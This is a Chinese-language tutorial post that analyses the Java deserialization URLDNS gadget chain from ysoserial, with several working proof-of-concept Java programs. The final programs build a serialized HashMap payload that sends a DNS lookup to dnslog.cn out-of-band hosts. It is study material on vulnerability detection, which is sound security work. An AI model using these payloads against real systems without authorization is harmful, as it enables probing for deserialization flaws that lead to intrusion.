Java反序列化-URLDNS利用链分析
前言
URLDNS链是Java反序列化中比较简单的一个链子,由于URLDNS不依赖第三方包和不限制jdk版本,所以经常用于检测反序列化漏洞。
URLDNS并不能执行命令,只能发送DNS请求。
(应该先看这个简单的链再去学习cc1的...)
利用链
查看ysoserial中URLDNS的Gadget:
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
接下来进行逐一分析:
URL
该类位于java.net.URL,通过该类的Hashcode方法我们可以进行DNS请求
package com.serializable.urldns;
import java.net.URL;
public class UrlDns {
public static void main(String[] args) throws Exception {
URL url = new URL("http://java.ei3jpq.dnslog.cn/");
url.hashCode();
}
}

通过调试跟进一下DNS请求的过程:

这里handler是一个URLStreamHandler类对象,并且设置了transient关键字(不被序列化)

第一部分就是注释描述去解析了HTTP协议

第二部分就是进行解析host,通过getHostAddress方法进行DNS解析

HashMap
即使是不依赖第三方包的链子,调用hashCode的地方也是很多的

找到HashMap这里,发现在hash方法中调用了k.hashCode方法,并且调用对象k也是可控的
但是我们发现这里hash方法的关键字为final,这里去看了下final的作用:
- 用于修饰类:该类不能被继承,并且所有成员方法都会被隐式指定为final
- 用于修饰方法:该方法不能被修改,并且会被隐式指定为private
- 用于修饰变量:该变量不能被修改,如果是引用类型的变量,则在对其初始化之后便不能再让其指向另一个对象
所以这里不能直接调用hash方法,需要通过反射:
package com.serializable.urldns;
import java.lang.reflect.Method;
import java.net.URL;
import java.util.HashMap;
public class UrlDns {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL("http://java.z5aw2t.dnslog.cn/");
Class<? extends HashMap> aClass = hashMap.getClass();
Method hash = aClass.getDeclaredMethod("hash", Object.class);
hash.setAccessible(true);
hash.invoke(hashMap, url);
}
}
运行代码后成功执行

jdk1.7
但是我们发现在ysoserial中并不是这样利用的,是通过put方法调用了hash方法进行调用

所以poc也可以这样写:
package com.serializable.urldns;
import java.net.URL;
import java.util.HashMap;
public class UrlDns {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL("http://java.z5aw2t.dnslog.cn/");
hashMap.put(url, null);
}
}
之后查看了HashMap.readObject方法,发现在最后调用了putForCreate

该方法也调用了hash,所以正确的链子应该是从putForCreate进去的

但是在写的时候发现了一个问题,就是当在构造poc时,需要使用put写key,所以这个时候会触发一次dns解析,如何避免这个问题需要解决,我们再去看一下dns解析的那块代码

在这里如果hashCode!=-1就会直接返回hashCode,并不会进入handler.hashCode进行DNS解析,我们可以在HashMap.put前通过反射修改该值,然后在put之后修改回来就可以达到目的,所以poc如下:
package com.serializable.urldns;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class UrlDns {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL("http://java.3hnrl6.dnslog.cn/");
Field hashCode = Class.forName("java.net.URL").getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, 0);
hashMap.put(url, null);
hashCode.set(url, -1);
try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
outputStream.writeObject(hashMap);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
inputStream.readObject();
} catch (IOException e) {
e.printStackTrace();
}
}
}
jdk1.8
看了其他文章,说readObject中有一个putVar方法,刚才一直在使用jdk1.7在分析,猜测可能是和这个有关系,查看jdk1.8中的HashMap看一看

在jdk1.8中,HashMap.readObject,中的putVal这里参数中直接调用了hash方法,但是在poc构造上还是相同
ysoserial中示例
刚刚我们通过反射修改hashCode进行避免运行poc时触发DNS解析,在ysoserial中却不是这样做的

它通过自定义类继承URLStreamHandler,然后传入URL,当调用getHostAddress时将会返回null

由于URL中handler变量的关键字为transient,刚刚说过该关键字作为标识的不能被序列化,所以这个自定义类并不会写入序列化字符串中,也就成功避免了DNS解析
随之就尝试写poc,结果运行发现dnslog并没有收到,调试发现hashCode不是-1

然后发现ysoserial最后还有一句话,是将URL对象里的hashCode置-1,注释是这样说的“在上面的put过程中,会计算并缓存URL的hashCode。这将重置hashCode,以便下次调用hashCode时触发DNS查找”
通过调试put看一下是如何缓存的

这里因为getHostAddress重写返回null

然后通过一系列的解析得到1528092086并返回,返回后复制给hashCode

所以我们还需要在put之后通过反射将hashCode缓存清除,这样一来发现还是一开始写的那个代码可能更少一点
最终POC
package com.serializable.urldns;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class UrlDns {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL("http://java.3hnrl6.dnslog.cn/");
Field hashCode = Class.forName("java.net.URL").getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, 0);
hashMap.put(url, null);
hashCode.set(url, -1);
try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
outputStream.writeObject(hashMap);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
inputStream.readObject();
} catch (IOException e) {
e.printStackTrace();
}
}
}
或者
package com.serializable.urldns;
import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class UrlDns {
public static void main(String[] args) throws Exception {
SilentURLStreamHandler silentURLStreamHandler = new SilentURLStreamHandler();
URL url = new URL(null, "http://java.4l89i4.dnslog.cn/", silentURLStreamHandler);
HashMap hashMap = new HashMap();
hashMap.put(url, null);
Field hashCode = url.getClass().getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, -1);
try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
outputStream.writeObject(hashMap);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
inputStream.readObject();
} catch (IOException e) {
e.printStackTrace();
}
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

浙公网安备 33010602011771号